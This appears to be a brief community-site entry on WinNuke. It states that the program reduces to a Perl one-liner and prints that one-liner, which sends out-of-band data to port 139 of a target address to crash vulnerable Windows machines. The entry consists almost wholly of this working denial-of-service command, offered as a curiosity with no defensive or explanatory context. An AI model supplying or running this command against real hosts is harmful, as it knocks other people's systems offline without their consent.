winnuke (idea)

Interestingly, the winnuke program can be reduced to a Perl one liner:

perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"1.2.3.4:139")->send("bye",MSG_OOB)'